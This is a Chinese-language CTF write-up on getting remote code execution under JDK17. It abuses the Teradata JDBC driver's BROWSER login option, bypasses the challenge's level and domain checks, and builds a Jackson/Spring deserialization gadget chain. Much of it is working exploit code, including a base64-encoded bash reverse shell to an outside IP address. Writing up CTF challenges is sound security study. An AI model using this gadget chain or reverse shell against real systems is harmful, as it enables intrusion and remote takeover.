因为之前再看那个绕高版本的jdk的jndi注入的时候 就有提到用jndi转JDBC来打 当时就是看看 没有实践 现在刚好这次比赛出了jdk17打JDBC的题 这里就记录一下
Teradata JDBC
https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf
https://github.com/luelueking/Deserial_Sink_With_JDBC
python运行那两个脚本就行了
POC
1 2 3 4 5 6 7 8 9 10 11 12
| package com.example;
import java.io.IOException; import java.sql.DriverManager; import java.sql.SQLException;
public class POC { public static void main(String[] args) throws SQLException, IOException { DriverManager.registerDriver(new com.teradata.jdbc.TeraDriver()); DriverManager.getConnection("jdbc:teradata://127.0.0.1/DBS_PORT=10250,LOGMECH=BROWSER,BROWSER='calc',TYPE=DEFAULT,COP=OFF,TMODE=TERA,LOG=DEBUG"); } }
|
跟进这个getConnection函数
再次跟进这个getConnection函数中去
接着跟进这个connnect函数中
跟进doConnect函数中
这个函数会拆分我们传入的url参数 并将值挨个提取出来
接着跟进createConnection函数中
再次跟进createConnection函数中
满足if判断 进入到TDSession函数中
携带我们传入的参数进入到其父类的构造函数中去
最后在GenericTeradataConnection的构造函数中执行了命令
这就是这个漏洞的成因 那么我们就只需要找到前半段链子来连接上getConnetion就行了
(接下来回归到题目本身)
Javolution
https://blog.wm-team.cn/index.php/archives/72/
反序列化入口在这里 在进入到这里之前 我们得绕过两个限制
一个是等级一个是域名限制
等级用整数溢出绕过
域名用sudo.cc绕过 xx.sudo.cc
也是指向127.0.0.1
1 2
| url/pal/cheat?defense=-2147483647 url/pal/battle/flag
|
这样的话就绕过上面的两个限制了
POC
(这里打成功一次 第二次就打不通了 不知道啥原因 md)
这里本是想直接BadAttributeValueExpException
当入口点来打的
但是BadAttr的val属性,在java8是Object类型,在jdk17中是String类型
那么我们其实就可以换成
1 2
| Hashmap->Xstring->Pojonode->getter 就是将BadAttributeValueExpException换成了HashMap+Xstring
|
还有一点就是这哥jdk17 ban
了反射 不给我们直接用
原因是这个module的原因 但是我们可以在configurations
来进行修改 这也算个trick 我们可以通过java的option开启模块,反序列化并不会检验 所以就可以不用绕这个module了
1 2 3
| --add-opens java.base/java.util=ALL-UNNAMED --add-exports java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
--add-exports java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
|
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| package com.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString; import org.springframework.aop.framework.AdvisedSupport; import org.dubhe.javolution.pool.PalDataSource; import javax.sql.DataSource; import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap;
public class exp { public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } }
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, NoSuchFieldException {
String command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk5LjEwLjEwMy81NDE4NyAwPiYx}|{base64,-d}|{bash,-i}"; PalDataSource dataSource = new PalDataSource(); dataSource.setBROWSER(command); dataSource.setLOGMECH("BROWSER"); dataSource.setDSName("192.168.52.129"); dataSource.setDbsPort("10251"); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(dataSource); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler); POJONode a = new POJONode(proxy); HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); XString xString = new XString("xx"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", a); map1.put("zZ", xString); map2.put("yy", xString); map2.put("zZ", a); Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream bytes = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes); objectOutputStream.writeObject(s); byte[] output = Base64.getEncoder().encode(bytes.toByteArray()); FileOutputStream fout = new FileOutputStream(new File("guoke.ser")); fout.write(bytes.toByteArray()); fout.close(); System.out.println(new String(output));
byte[] input = Base64.getDecoder().decode(output); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(input); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
} }
|
生成payload后直接打就行了
记得把fakeserver和fakesso给运行起来
然后就能打成功了
接着上面提到过的 为什么不直接调用TeraDataSource
的getconnection方法 因为这里的话会调用到TeraDataSource的getParentLogger方法 导致报错 但是如果调用的是PalDataSource
的话 因为这个类继承于TeraDataSource 然后就会调用到TeraDataSource的getconnetion方法 这样就不会报错了
(因为这个PalDataSource是有参getconnect方法 会调用到TeraDataSource里的那个有参getconnect方法 如果使用TeraDataSource来打的话就会调用到其中的无参getconnect方法 导致调用到getParentLogger报错)
晚点再写一下那个N1-j的那几道题 也是打jdk17的jdbc来RCE